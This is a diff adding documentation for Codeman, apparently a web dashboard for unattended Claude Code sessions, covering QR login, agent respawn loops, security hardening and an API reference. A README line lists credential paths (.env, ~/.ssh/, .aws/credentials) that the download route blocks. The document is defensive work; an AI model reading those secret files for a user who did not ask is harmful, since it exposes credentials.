+- **Security headers** — `Content-Security-Policy` (`default-src 'self'`, every exception enumerated), `X-Content-Type-Options: nosniff`, `X-Frame-Options: SAMEORIGIN`, HSTS over HTTPS, and CORS reflected **only** for `localhost` / `127.0.0.1` / `::1`
+
+### Supply chain & isolation
+
+- **Pinned & verified deps** — security-sensitive transitive deps are forced to patched versions via npm `overrides`; lockfile integrity is checked on every commit/PR (all entries resolve to `registry.npmjs.org` with `sha512` hashes). Public assets are NUL-byte-scanned and `node --check`-validated in CI
+- **Multi-instance isolation** — `CODEMAN_INSTANCE` scopes both the tmux socket (`-L codeman-<name>`) and data dir (`~/.codeman-<name>`) so two instances never attach each other's live sessions

+
+### 安全的二维码认证
+
+在手机键盘上输密码太痛苦了。Codeman 用**密码学安全的一次性二维码令牌**取而代之 —— 扫描桌面上显示的二维码，手机即刻完成认证。
+
+每个二维码编码的是一个包含 6 字符短码的 URL，该短码在服务端映射到一个 256 位密钥（`crypto.randomBytes(32)`）。令牌每 **60 秒**自动轮换，**首次扫描即原子性消费**（重放永远失败），并采用**基于哈希的 `Map.get()` 查找**，不会通过响应时延泄露任何信息。短码只是一个不透明指针 —— 真正的密钥永远不会出现在浏览器历史、`Referer` 头或 Cloudflare 边缘日志中。
+
+该安全设计覆盖了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)（USENIX Security 2025，该研究发现 Top-100 网站中有 47 个存在漏洞）所指出的全部 6 个关键二维码认证缺陷：强制一次性使用、短 TTL、密码学随机性、服务端生成、扫描时桌面实时通知（QRLjacking 检测），以及 IP + User-Agent 会话绑定与手动吊销。双层速率限制（按 IP + 全局）使得在 62^6 = 568 亿种可能短码空间内进行暴力破解变得不可行。完整安全分析见：[`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)
+
+### 触控优化界面
+
+- **键盘配件栏** —— 在虚拟键盘上方提供 `/init`、`/clear`、`/compact` 快捷按钮。破坏性命令（`/clear`、`/compact`）需双击确认 —— 第一次点击「上膛」，第二次点击执行 —— 这样在颠簸的通勤路上也不会误触
+- **滑动导航** —— 在终端上左右滑动切换会话（阈值 80px，300ms）
+- **智能键盘处理** —— 键盘弹出时工具栏与终端整体上移（使用 `visualViewport` API，并对 iOS 地址栏漂移设置 100px 阈值）
+- **安全区适配** —— 通过 `env(safe-area-inset-*)` 适配 iPhone 刘海与底部 Home 指示条
+- **44px 触控目标** —— 所有按钮均满足 iOS 人机界面指南的最小尺寸
+- **底部抽屉式 case 选择器** —— 用上滑模态框替代桌面端下拉菜单
+- **原生惯性滚动** —— `-webkit-overflow-scrolling: touch`，丝滑流畅
+
+```bash
+codeman web --https
+# 在手机上打开：https://<你的IP>:3000
+```
+
+> `localhost` 走纯 HTTP 即可。从其他设备访问时请使用 `--https`，或使用 [Tailscale](https://tailscale.com/)（推荐）—— 它提供私有网络，让你无需 TLS 证书即可从手机访问 `http://<tailscale-ip>:3000`。
+
+---
+
+## 实时智能体可视化
+
+实时观看后台智能体工作。Codeman 监控智能体活动，将每个智能体显示在一个可拖拽的浮动窗口中，并用「黑客帝国」风格的动态连接线连回父会话。
+
+<p align="center">
+  <img src="docs/images/subagent-spawn.png" alt="子智能体可视化" width="900">
+</p>
+
+- **浮动终端窗口** —— 每个智能体一个可拖拽、可调整大小的面板，带实时活动日志，逐条展示每一次工具调用、文件读取与进度更新
+- **连接线** —— 用动态绿色线条连接父会话与其子智能体，随智能体的产生与完成实时更新
+- **状态与模型徽标** —— 绿色（活动）、黄色（空闲）、蓝色（已完成）指示，并以 Haiku/Sonnet/Opus 的颜色编码区分模型
+- **自动行为** —— 窗口在产生时自动打开、完成时自动最小化，标签徽标显示「AGENT」或「AGENTS (n)」计数
+- **嵌套智能体** —— 支持 3 层层级（主会话 → 团队成员智能体 → 子-子智能体）
+
+**智能体团队（Agent Teams）** —— 一等公民式支持 Claude Code 原生的多智能体团队（`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`）。`TeamWatcher` 轮询 `~/.claude/teams/`，将团队成员匹配到其主会话，并以实时子智能体窗口呈现，且具备**团队感知的空闲检测** —— 因此当团队成员仍在工作时，重生控制器不会被触发。详见 [`docs/agent-teams/`](docs/agent-teams/)。
+

+
+## 零延迟输入叠加层
+
+<p align="center">
+  <img src="docs/images/zerolag-demo.gif" alt="Zerolag 演示 —— 本地回显与服务端回显并排对比" width="900">
+</p>
+
+远程访问你的编程智能体时（VPN、Tailscale、SSH 隧道），每次按键通常需要 200–300 毫秒往返。Codeman 实现了一套**受 Mosh 启发的本地回显系统**，无论延迟多高，打字都感觉即时。
+
+xterm.js 内部一个像素级精准的 DOM 叠加层以 0ms 渲染按键。后台转发会以 50ms 防抖批次静默地把每个字符送往 PTY，因此 Tab 补全、`Ctrl+R` 历史搜索以及所有 shell 特性都正常工作。当服务端回显在 200–300ms 后到达时，叠加层无缝消失、真实终端文本接管 —— 整个切换过程不可见。
+
+- **抗 Ink 架构** —— 它作为 `.xterm-screen` 内 z-index 7 的一个 `<span>` 存在，完全不受 Ink 持续重绘屏幕的影响（此前两次使用 `terminal.write()` 的尝试都失败了，因为 Ink 会破坏注入的缓冲区内容）
+- **字体匹配渲染** —— 从 xterm.js 的计算样式读取 `fontFamily`、`fontSize`、`fontWeight` 与 `letterSpacing`，使叠加层文本与真实终端输出在视觉上无法区分
+- **完整编辑** —— 退格、重打、粘贴（多字符）、光标跟踪，输入超过终端宽度时多行换行
+- **重连后持久** —— 未发送的输入通过 localStorage 在页面刷新后保留
+- **默认启用** —— 桌面端与移动端均可用，会话空闲或繁忙时都生效
+
+> 已抽取为独立库：[`xterm-zerolag-input`](https://www.npmjs.com/package/xterm-zerolag-input) —— 见[已发布的包](#已发布的包)。
+
+---
+
+## 重生控制器（Respawn Controller）
+
+自主工作的核心。当智能体进入空闲，重生控制器会检测到，发送继续提示，循环执行上下文管理命令以获得全新上下文，然后恢复工作 —— 可完全无人值守运行 **24 小时以上**。
+
+```
+WATCHING → IDLE DETECTED → SEND UPDATE → /clear → /init → CONTINUE → WATCHING
+```
+
+- **多层空闲检测** —— 完成消息、AI 驱动的空闲检查、输出静默、token 稳定性
+- **熔断器** —— 当 Claude 卡住时防止重生抖动（CLOSED → HALF_OPEN → OPEN 状态，跟踪连续无进展与重复错误）
+- **健康评分** —— 0–100 健康分，分项涵盖循环成功率、熔断器状态、迭代进展与卡死恢复
+- **内置预设** —— `solo-work`（3s 空闲，60min）、`subagent-workflow`（45s，240min）、`team-lead`（90s，480min）、`ralph-todo`（8s，480min）、`overnight-autonomous`（10s，480min）
+
+---
+
+## 编排器循环（Orchestrator Loop）
+
+超越单会话重生，**编排器**把一个高层目标转化为分阶段计划，并跨多个智能体推动其完成 —— 这是一个运行 `idle → planning → approval → executing → verifying → (replanning) → completed` 的状态机。
+
+- **先规划，后执行** —— 从你的目标生成分阶段计划，并在动手前暂停等待审批；可带反馈拒绝以重新生成
+- **逐阶段验证关卡** —— 每个阶段在下一阶段开始前都会被验证；失败时编排器会重新规划而非一头扎下去
+- **多智能体执行** —— 将各阶段分发给团队智能体 / 任务队列，协调超出单会话能力的工作
+- **崩溃安全** —— 完整状态持久化在 `state.json` 的 `orchestrator` 键下，可在重启后存续
+- **可从 UI 或 API 驱动** —— 编排器面板，或 `POST /api/orchestrator/start` → `/approve` → `/status`（共 10 个端点）
+
+> 与 Ralph（单会话自主循环）不同：编排器协调多阶段、多智能体执行。完整设计：[`docs/orchestrator-loop-architecture.md`](docs/orchestrator-loop-architecture.md)。

+
+## 多会话仪表盘
+
+运行 **20 个并行会话**且全程可见 —— 60fps 的实时 xterm.js 终端、按会话的 token 与成本跟踪、基于标签的导航，以及一键管理。
+
+<p align="center">
+  <img src="docs/screenshots/multi-session-dashboard.png" alt="多会话仪表盘" width="800">
+</p>
+
+### 持久化会话
+
+每个会话都运行在 **tmux** 内 —— 会话可在服务器重启、网络中断与机器休眠后存续。启动时自动恢复，具备双重冗余。幽灵会话发现机制能找到孤立的 tmux 会话。受管会话带有环境标签，因此智能体不会杀掉自己的会话。
+
+### 主机名感知的窗口标题
+
+在多台主机上运行 Codeman（笔记本、开发机、NAS）？浏览器标签标题是 `codeman:<主机名>`，让你无需点进去就能分辨每个标签对应哪个后端：
+
+```bash
+codeman web                                # codeman:<os.hostname()>
+codeman web --title-hostname dev-box       # codeman:dev-box（用于覆盖嘈杂的主机名）
+```
+
+标题在首字节时就被模板化进所提供的 HTML 中，因此从第一帧绘制起就是正确的，且无需 JavaScript 也能工作。同样的主机名前缀也应用于标签闪烁格式（`⚠️ (N) codeman:<host>`）和操作系统级桌面通知（`codeman:<host>: <事件>`），让系统通知中心里的跨主机提醒也不再含糊。
+
+### 智能 Token 管理
+
+| 阈值 | 动作 | 结果 |
+|-----------|--------|--------|
+| **110k tokens** | 自动 `/compact` | 上下文被摘要，工作继续 |
+| **140k tokens** | 自动 `/clear` | 以 `/init` 全新开始 |
+
+### 通知
+
+当会话需要关注时实时桌面提醒 —— `permission_prompt` 与 `elicitation_dialog` 触发关键的红色标签闪烁，`idle_prompt` 触发黄色闪烁。点击任意通知即可直接跳转到相关会话。Hook 按 case 目录自动配置。
+
+### Ralph / Todo 跟踪
+
+自动检测 Ralph 循环、`<promise>` 标签、TodoWrite 进度（`4/9 complete`）以及迭代计数器（`[5/50]`），并提供实时进度环与已用时间跟踪。
+
+<p align="center">
+  <img src="docs/images/ralph-tracker-8tasks-44percent.png" alt="Ralph 循环跟踪" width="800">
+</p>
+
+### 运行摘要（Run Summary）
+
+点击任意会话标签上的图表图标，即可看到所发生一切的时间线 —— 重生周期、token 里程碑、自动 compact 触发、空闲/工作切换、hook 事件、错误等等。
+
+### 零闪烁终端
+
+基于终端的 AI 智能体（Claude Code 的 Ink、OpenCode 的 Bubble Tea）会在每次状态变更时重绘屏幕。Codeman 实现了一套 6 层抗闪烁流水线，让所有会话都获得平滑的 60fps 输出：
+
+```
+PTY 输出 → 16ms 服务端批处理 → DEC 2026 包裹 → SSE → 客户端 rAF → xterm.js（60fps）
+```
+
+---
+
+## 更多特性
+
+- **自更新** —— systemd/launchd 管理下的 git-clone 安装可在 **App Settings → Updates** 中原地更新：它会检测最新发行版，自动暂存（stash）脏工作树，并在服务重启期间流式展示构建进度（npm 安装会被报告为不可更新）
+- **双 CLI** —— 每个会话可选 **Claude Code** 或 **OpenCode**；环境变量前缀自动隔离（`CLAUDE_CODE_*` 与 `OPENCODE_*`）。详见 [`docs/opencode-integration.md`](docs/opencode-integration.md)
+- **Effort 与 Ultracode** —— 设置每会话的默认 effort（`low`–`max`），或启用 **ultracode**（动态多智能体工作流）。这些都只是软默认值 —— 会话中可随时用 `/effort` 切换。扩展思考预算也可配置

+## 远程访问 —— Cloudflare 隧道
+
+使用免费的 [Cloudflare 快速隧道](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/)，从手机或本地网络外的任意设备访问 Codeman —— 无需端口转发、无需 DNS、无需静态 IP。
+
+```
+浏览器（手机/平板）→ Cloudflare 边缘（HTTPS）→ cloudflared → localhost:3000
+```
+
+**前置条件：** 安装 [`cloudflared`](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/) 并在环境中设置 `CODEMAN_PASSWORD`。
+
+```bash
+# 快速开始
+./scripts/tunnel.sh start      # 启动隧道，打印公网 URL
+./scripts/tunnel.sh url        # 显示当前 URL
+./scripts/tunnel.sh stop       # 停止隧道
+./scripts/tunnel.sh status     # 服务状态 + URL
+```
+
+脚本会在首次运行时自动安装一个 systemd 用户服务。隧道 URL 是一个随机生成的 `*.trycloudflare.com` 地址，每次隧道重启都会改变。
+
+<details>
+<summary><strong>持久隧道（重启后存续）</strong></summary>
+
+```bash
+# 启用为持久服务
+systemctl --user enable codeman-tunnel
+loginctl enable-linger $USER
+
+# 或通过 Codeman Web UI：Settings → Tunnel → 切换为开
+```
+
+</details>
+
+<details>
+<summary><strong>认证</strong></summary>
+
+1. 首次请求 → 浏览器弹出 Basic Auth 提示（用户名：`admin` 或 `CODEMAN_USERNAME`）
+2. 成功后 → 服务端签发 `codeman_session` cookie（24 小时 TTL，活动时自动延长）
+3. 后续请求通过 cookie 静默认证
+4. 同一 IP 失败 10 次 → 429 速率限制（15 分钟衰减）
+
+通过隧道暴露前**务必设置 `CODEMAN_PASSWORD`** —— 否则任何拿到 URL 的人都能完全访问你的会话。
+
+</details>
+
+### 二维码认证
+
+在手机键盘上输密码很糟糕。Codeman 用**短暂的一次性二维码令牌**解决这个问题 —— 扫描桌面上的二维码，手机即刻完成认证。无密码提示、无打字、无剪贴板。
+
+```
+桌面显示二维码  →  手机扫描  →  GET /q/Xk9mQ3  →  服务端校验
+→  令牌原子性消费（一次性）  →  签发会话 cookie  →  302 跳转到 /
+→  桌面收到通知：「设备已通过二维码认证」  →  自动生成新二维码
+```
+
+只拿到裸隧道 URL（没有二维码）的人，仍会撞上标准密码提示。二维码是快速通道；密码是回退方案。
+
+#### 工作原理
+
+服务端维护一个轮换的、短生命周期、一次性令牌池。每个令牌由一个 256 位密钥（`crypto.randomBytes(32)`）和一个用作 URL 路径中不透明查找键的 6 字符 base62 短码配对组成。二维码编码的 URL 形如 `https://abc-xyz.trycloudflare.com/q/Xk9mQ3` —— 短码是指针，而非密钥本身，因此它绝不会通过浏览器历史、`Referer` 头或 Cloudflare 边缘日志泄露。
+
+每 **60 秒**，服务端自动轮换到一个全新令牌。上一个令牌会保留 **90 秒的宽限期**，以处理你刚好在轮换瞬间扫描的竞争情况 —— 此后即作废。每个令牌都是**一次性**的：手机一旦成功扫描，令牌就被原子性消费，并立即为桌面显示生成一个新的。
+
+#### 安全设计
+
+该设计参考了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)（USENIX Security 2025），该研究发现 Top-100 网站中有 47 个因横跨 42 个 CVE 的 6 个关键设计缺陷而易受二维码认证攻击。Codeman 全部六个都做了应对：
+
+| USENIX 缺陷 | 缓解措施 |
+|-------------|------------|
+| **缺陷 1**：缺少一次性强制 | 令牌首次扫描即原子性消费 —— 重放永远失败 |
+| **缺陷 2**：长生命周期令牌 | 60s TTL + 90s 宽限，由定时器自动轮换 |
+| **缺陷 3**：可预测的令牌生成 | `crypto.randomBytes(32)` —— 256 位熵。短码采用拒绝采样以消除取模偏差 |
+| **缺陷 4**：客户端令牌生成 | 仅服务端 —— 令牌在嵌入二维码前绝不离开服务器 |
+| **缺陷 5**：缺少状态通知 | 桌面提示：*「设备 [IP] 已通过二维码认证（Safari）。不是你？[吊销]」* —— 实时 QRLjacking 检测 |
+| **缺陷 6**：会话绑定不足 | 存储 IP + User-Agent 以供审计。通过 API 手动吊销会话。HttpOnly + Secure + SameSite=lax cookie |
+
+#### 时序安全的查找
+
+短码存储在 `Map<shortCode, TokenRecord>` 中。校验使用 `Map.get()` —— 一个基于哈希的 O(1) 查找，不会通过响应时延泄露目标字符串的任何信息。热路径上任何地方都没有逐字符字符串比较，彻底消除了时序侧信道攻击。
+
+#### 速率限制（双层）
+
+二维码认证有自己的速率限制，与密码认证完全独立：
+
+- **按 IP**：同一 IP 失败 10 次二维码尝试即触发 429 封锁（15 分钟衰减窗口）—— 与 Basic Auth 的失败计数器分开，因此打错密码不会消耗你的二维码额度
+- **全局**：所有 IP 合计每分钟 30 次二维码尝试 —— 抵御分布式暴力破解。考虑到 62^6 = 568 亿种可能短码、任意时刻仅约 2 个有效，无论如何暴力破解都在计算上不可行
+
+#### 二维码尺寸优化
+
+URL 被刻意保持精简（`/q/` 路径 + 6 字符码 ≈ 53–56 个字符），以瞄准 **QR 版本 4**（33×33 模块）而非版本 5（37×37）。更小的二维码在低端手机上扫描更快 —— 现代设备读取版本 4 仅需 100–300 毫秒。`/q/` 前缀相比 `/qr-auth/` 省下 7 个字节，仅此一项就足以决定二维码版本的差别。
+
+#### 桌面体验
+
+二维码显示每 60 秒通过 SSE 自动刷新，SVG 直接嵌入事件载荷（约 2–5KB）—— 无需额外 HTTP 请求，刷新低于 50ms。倒计时器显示剩余时间。「重新生成」按钮可即时使所有现有令牌失效并创建一个新的（在你怀疑二维码被拍照时很有用）。
+
+当有人通过二维码认证时，桌面会弹出一个带设备 IP 与浏览器信息的通知 —— 如果不是你，一键即可吊销所有会话。
+
+#### 威胁覆盖
+
+| 威胁 | 为何无效 |
+|--------|-------------------|
+| **二维码截图被分享** | 一次性：首次扫描即消费。60s TTL：攻击者动手前已过期。桌面通知会立即提醒你。 |
+| **重放攻击** | 原子性一次性消费 + 60s TTL。旧 URL 始终返回 401。 |
+| **Cloudflare 边缘日志** | 短码是不透明的 6 字符查找键，而非真正的 256 位令牌。一次性意味着从日志重放永远失败。 |
+| **暴力破解** | 568 亿种组合、任意时刻约 2 个有效、双层速率限制，早在统计可行性之前就已拦截。 |
+| **QRLjacking** | 60s 轮换迫使实时转发。桌面提示提供即时检测。自托管单用户场景使钓鱼难以成立。 |
+| **时序攻击** | 基于哈希的 Map 查找 —— 无字符串比较时序泄露。 |
+| **会话 cookie 窃取** | HttpOnly + Secure + SameSite=lax + 24h TTL。可在 `POST /api/auth/revoke` 手动吊销。 |
+
+#### 横向对比
+
+| 平台 | 模型 | 对比 |
+|----------|-------|------------|
+| **Discord** | 长生命周期令牌、无确认、[屡被利用](https://owasp.org/www-community/attacks/Qrljacking) | Codeman：一次性 + TTL + 通知 |
+| **WhatsApp Web** | 手机确认「关联设备？」，约 60s 轮换 | 轮换相当；WhatsApp 额外加了显式确认（对单用户而言是可接受的取舍） |
+| **Signal** | 临时公钥、端到端加密信道 | 加密更强，但 [2025 年仍被俄罗斯国家级行为者](https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger)通过社会工程攻破 |

+
+## 安全
+
+Codeman 用 `--dangerously-skip-permissions` 启动会话，因此 Web UI 在设计上对任何能访问到它的人都是一个远程代码执行面 —— 整套安全模型的存在就是为了控制*谁*能访问。近期加固（v0.9.0 + v0.9.5）封堵了那些常困扰自托管开发工具的浏览器驱动攻击路径。完整模型：[`docs/security-architecture.md`](docs/security-architecture.md)。
+
+### 网络与访问
+
+- **默认仅环回** —— 绑定 `127.0.0.1`，仅可从本机访问，因此「无密码」默认配置开箱即安全。在未设置 `CODEMAN_PASSWORD` 的情况下绑定非环回主机会*启动但打印一条醒目警告*，并给出三个具体修复方案（设置密码、环回 + 一个带认证的隧道，或用 `--allow-unauthenticated-network` 显式确认）
+- **可选认证，真实会话** —— 通过 `CODEMAN_USERNAME`（默认 `admin`）/ `CODEMAN_PASSWORD` 的 HTTP Basic 认证。成功后签发一个不透明的 256 位 `codeman_session` cookie（`randomBytes(32)`）—— 服务端校验，而非客户端签名，因此无法离线伪造（24h TTL、自动延长、设备上下文审计日志）
+- **按 IP 速率限制** —— 失败 10 次 → `429` 并带 `Retry-After`（15 分钟衰减）。即便攻击者在同一 IP 上猛攻，有效 cookie 或正确密码也能*立即*恢复 —— 这很重要，因为所有隧道流量共享同一个环回 IP。二维码认证有自己独立的限制器
+
+### 始终开启的浏览器加固（v0.9.5）
+
+以下对**每个**请求都生效 —— 在认证之前，即便是默认的无密码环回安装：
+
+- **Host 头允许列表 → 阻断 DNS 重绑定。** 一个被重绑定到 `127.0.0.1` 的自定义域名会在任何处理器运行前被 `403 host not allowed` 拒绝。允许：`localhost`、任意 IP 字面量、绑定主机、`.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`、当前受管隧道，以及 `CODEMAN_ALLOWED_HOSTS`（在此添加自定义反向代理域名 —— 逗号分隔；精确主机或前导点 `.suffix` 匹配子域名）
+- **跨站 Origin / CSRF 防护。** 对变更状态的方法（`POST`/`PUT`/`PATCH`/`DELETE`），`Origin` 必须通过同一允许列表，否则返回 `403 cross-site request blocked`。*缺失*的 Origin 被允许（因此 `curl`、CLI 与 Claude Code hook 仍可工作）；只有存在但外来、或不透明的 `null` origin 才会被拒绝
+- **原始 `text/plain` 请求体。** 全局解析器不再对 `text/plain` 做 JSON 解析，封堵了那个跨站 `fetch` 能在无预检的情况下把 JSON 走私进写路由的 CORS「简单请求」CSRF 向量
+- **WebSocket Origin 校验。** 终端 WS 升级运行同样的 Host + Origin 检查，失败时以代码 `4003` 关闭（反 CSWSH）
+- **XSS 转义的智能体输出。** AI 衍生的字符串（工具名、命令参数、子智能体描述）在渲染进子智能体 / 活动面板前，于每个注入点都做 HTML 转义
+
+### 输入、文件与响应头
+
+- **模式校验的输入** —— 每个 API 请求体都用 Zod v4 模式检查；一个 `CLAUDE_CODE_*` / `OPENCODE_*` 环境变量前缀允许列表把控每个 CLI 能接收哪些设置
+- **路径限定** —— 文件路由在边界检查前先 `realpath`（无 TOCTOU）；`..`、绝对路径、以及解析到工作目录之外的符号链接都会被拒绝。上限：10 MB 文本预览 / 50 MB 原始与下载；`/api/download` 对敏感路径（`.env`、`*credentials*`、`~/.ssh/`、`.aws/credentials`）做黑名单。SVG/HTML 以 `octet-stream` + `nosniff` + attachment 提供，因此会被下载而非执行
+- **安全响应头** —— `Content-Security-Policy`（`default-src 'self'`，每个例外都逐条列举）、`X-Content-Type-Options: nosniff`、`X-Frame-Options: SAMEORIGIN`、HTTPS 下的 HSTS，以及**仅**对 `localhost` / `127.0.0.1` / `::1` 反射的 CORS
+
+### 供应链与隔离
+
+- **锁定并校验的依赖** —— 安全敏感的传递依赖通过 npm `overrides` 强制为已打补丁版本；每次提交/PR 都检查锁文件完整性（所有条目都解析到 `registry.npmjs.org` 且带 `sha512` 哈希）。公共资源在 CI 中做 NUL 字节扫描与 `node --check` 校验
+- **多实例隔离** —— `CODEMAN_INSTANCE` 同时限定 tmux 套接字（`-L codeman-<name>`）与数据目录（`~/.codeman-<name>`），因此两个实例绝不会互相附着对方的活动会话
+
+> 移动端登录使用一次性、60 秒二维码令牌 —— 完整设计见上文[二维码认证](#二维码认证)（它应对了 USENIX Security 2025 二维码登录研究中的全部 6 个缺陷）。
+

+
+## SSH 替代方案（`sc`）
+
+如果你更喜欢 SSH（Termius、Blink 等），`sc` 命令是一个便于拇指操作的会话选择器：
+
+```bash
+sc              # 交互式选择器
+sc 2            # 快速附着到会话 2
+sc -l           # 列出会话
+```
+
+单数字选择（1–9）、颜色编码的状态、token 计数、自动刷新。用 `Ctrl+A D` 分离。
+
+---
+
+## 键盘快捷键
+
+> Ctrl 绑定在 macOS 上也接受 Cmd。
+
+| 快捷键 | 动作 |
+|----------|--------|
+| `Ctrl/Cmd+W` | 杀掉当前会话 |
+| `Ctrl/Cmd+Tab` | 下一个会话 |
+| `Alt+1`–`Alt+9` | 切换到第 N 个标签 |
+| `Ctrl+Shift+{` / `Ctrl+Shift+}` | 将当前标签左移 / 右移 |
+| `Ctrl/Cmd+L` | 清屏 |
+| `Ctrl+Shift+R` | 恢复终端尺寸 |
+| `Ctrl+Shift+V` | 切换语音输入 |
+| `Ctrl/Cmd +` / `-` | 字体大小 |
+| `Ctrl/Cmd+?` | 键盘帮助 |
+| `Shift+Enter` | 插入换行（发送到终端） |
+| `Escape` | 关闭面板与模态框 |
+

+# Security Policy
+
+Codeman launches AI coding sessions with `--dangerously-skip-permissions`, so the
+web UI is **by design a remote-code-execution surface for whoever can reach it**.
+The entire security model exists to control *who* that is. Please read this before
+exposing an instance beyond `localhost`. The full model lives in
+[`docs/security-architecture.md`](docs/security-architecture.md).
+
+## Supported versions
+
+Security fixes land on the latest published `codeman@X.Y.Z` release and `master`.
+Older versions are not patched — upgrade to the latest release (App Settings →
+Updates for git-clone installs, or `npm i -g aicodeman@latest`).
+
+| Version | Supported |
+| ------- | --------- |
+| latest `0.9.x` / `master` | ✅ |
+| anything older | ❌ (upgrade) |
+
+## Reporting a vulnerability
+
+**Please do not open a public issue for security problems.**
+
+Report privately via **GitHub's private vulnerability reporting**:
+the repository's **Security** tab → **Report a vulnerability**
+(<https://github.com/Ark0N/Codeman/security/advisories/new>). This opens a private
+advisory thread with the maintainer.
+
+> Maintainer note: enable *Settings → Code security and analysis → Private
+> vulnerability reporting* so this channel is live.
+
+When reporting, please include: affected version/commit, the deployment shape
+(loopback-only, `CODEMAN_PASSWORD` set, tunnel/`tailscale serve`, custom
+reverse proxy), reproduction steps, and impact. We aim to acknowledge within a
+few days. Coordinated disclosure is appreciated — we'll agree a disclosure
+timeline with you once impact is confirmed.
+
+### In scope
+- Authentication / session-cookie bypass when `CODEMAN_PASSWORD` is set
+- DNS-rebinding, CSRF/CSWSH, or Origin/Host-guard bypass reaching state-changing routes
+- Remote code execution reachable **without** local OS access (e.g. via a browser, a tunnel, or a foreign origin)
+- Path traversal / arbitrary file read or write through the HTTP API
+- Supply-chain integrity of the in-app self-updater
+
+### Out of scope (by design — see Known limitations)
+- Anything requiring an already-trusted **same-machine, same-uid** process. Codeman trusts the local OS user it runs as; a peer process of that user is already inside the boundary.
+- Running an authless instance bound to a non-loopback host after dismissing the startup warning (you explicitly acknowledged it).
+- The default loopback + no-password posture itself (it is reachable only from the same machine).
+
+## Trust model (summary)
+
+- **Loopback by default.** Binds `127.0.0.1`; the no-password default is safe out of the box. Binding a non-loopback host without `CODEMAN_PASSWORD` *starts but prints a loud warning* with concrete fixes.
+- **Always-on Host + Origin guards.** Block DNS-rebinding and cross-site state-changing requests even on the no-auth loopback install (a missing Origin is allowed so CLI/hooks work).
+- **Optional auth.** HTTP Basic via `CODEMAN_USERNAME`/`CODEMAN_PASSWORD`; success issues an opaque server-side 256-bit cookie. Per-IP rate limiting on failures.
+- **Hardened file serving, tmux launch, transport headers, and multi-instance isolation** — see the full architecture doc.
+
+## Known limitations and accepted risk
+
+A 1.0 release is an implicit statement that the documented model *is* the model, so
+these residuals are stated explicitly. Most sit **inside the same-uid OS trust
+boundary** or behind the always-on Origin guard; they matter mainly for
+shared-host, multi-user, or tunneled deployments.
+
+- **Self-update trusts an unsigned release tag.** The in-app updater does `git checkout <tag> && npm install` (lifecycle scripts run) of a tag matched only by name shape, from whatever `origin` points to — no signature/commit verification. Treat the updater as trusting your `origin` remote and your release pipeline. (Hardening tracked for 1.0.)
+- **CSP ships `'unsafe-inline'`.** Inline handlers mean the Content-Security-Policy is defense-in-depth only; all AI-/file-derived sinks are escaped, but a future missed escape would be executable.
+- **`workingDir` is unconstrained.** A session may be created with any absolute working directory (e.g. `/`), which becomes the file-route boundary for that session. Scope it to trusted paths on shared hosts.
+- **Hook-event auth exemption is loopback-IP-based.** `POST /api/hook-event` is exempt from auth for loopback callers; because tunnels (cloudflared / `tailscale serve`) terminate at `127.0.0.1`, a loopback-terminating tunnel inherits the exemption. Set `CODEMAN_PASSWORD` and prefer a tunnel that preserves the client identity if this matters.
+- **Session cookie is not bound to client IP/UA on reuse, and refreshes without an absolute cap.** A stolen cookie replays until its idle TTL elapses.
+- **Multi-instance tmux socket is process-wide.** Two Codeman instances on the same `CODEMAN_INSTANCE` share a tmux socket and can attach each other's live sessions — isolate with distinct `CODEMAN_INSTANCE` values.
+- **The live log-tail route reads `/var/log` and `~/logs`** in addition to the session working directory (read-only) — a deliberate choice for tailing system/app logs. On a password-protected remote deployment an authenticated user can therefore read those roots outside their session. See `docs/security-architecture.md` §5.
+
+Recent hardening (this release): web-push subscription endpoints are restricted
+to https public hosts (SSRF guard — rejects internal/metadata IPs, validated at
+subscribe and send time), and tmux session names discovered on the shared socket
+are validated against the safe-name pattern before reaching any shell call site.

+# HTTP API Reference
+
+Codeman's HTTP API is a **stable contract** as of 1.0 — see
+[`versioning-policy.md`](versioning-policy.md) for the SemVer guarantee. This page
+defines the response envelope, status codes, error codes, versioning, and the SSE
+event channel.
+
+## Versioning
+
+- The stable, public surface is served under **`/api/v1/...`**. Pin external
+  clients to this prefix.
+- The unversioned **`/api/...`** paths are a permanent alias of the current
+  version (what the bundled web UI uses). They are kept working, but new external
+  integrations should use `/api/v1`.
+- Breaking changes to the contract ship under a new prefix (`/api/v2`); `/api/v1`
+  keeps its semantics. Additive changes (new endpoints, new optional fields, new
+  error codes) are non-breaking and may appear in a minor release.
+- The implementation rewrites `/api/v1/*` → `/api/*` at the server level
+  (`rewriteApiV1Url` in `src/web/server.ts`).
+
+## Response envelope
+
+Every JSON response uses one uniform envelope, applied centrally by a
+`preSerialization` hook (`src/web/server.ts`) — handlers return bare data and the
+hook wraps it:
+
+**Success** — HTTP `2xx`:
+
+```json
+{ "success": true, "data": <payload> }
+```
+
+`data` is the endpoint's payload (object, array, or value). Endpoints with no
+payload return `{ "success": true, "data": {} }`.
+
+**Error** — HTTP `4xx`/`5xx`:
+
+```json
+{ "success": false, "error": "human-readable message", "errorCode": "NOT_FOUND" }
+```
+
+`ApiResponse<T>` in `src/types/api.ts` is the canonical type.
+
+> Non-JSON endpoints are exempt from the envelope: `GET /api/sessions/:id/file-raw`,
+> `GET /api/sessions/:id/tail-file` (SSE), `GET /api/download`,
+> `GET /api/screenshots/:name`, `GET /q/:code` (QR redirect), and the
+> `GET /ws/sessions/:id/terminal` WebSocket upgrade.
+
+## Error codes → HTTP status
+
+The single source of truth is `ErrorStatus` / `httpStatusForErrorCode()` in
+`src/types/api.ts`. Clients should branch on `errorCode` (stable) and may rely on
+the HTTP status.
+
+| `errorCode` | HTTP | Meaning |
+|-------------|------|---------|
+| `INVALID_INPUT` | 400 | Malformed request / failed validation |
+| `UNAUTHORIZED` | 401 | Authentication required or failed |
+| `NOT_FOUND` | 404 | Resource does not exist |
+| `SESSION_BUSY` | 409 | Session is busy |
+| `CONFLICT` | 409 | Conflicts with current state (e.g. already running) |
+| `ALREADY_EXISTS` | 409 | Resource already exists |
+| `OPERATION_FAILED` | 422 | Well-formed but could not be completed |
+| `RATE_LIMITED` | 429 | Too many requests |
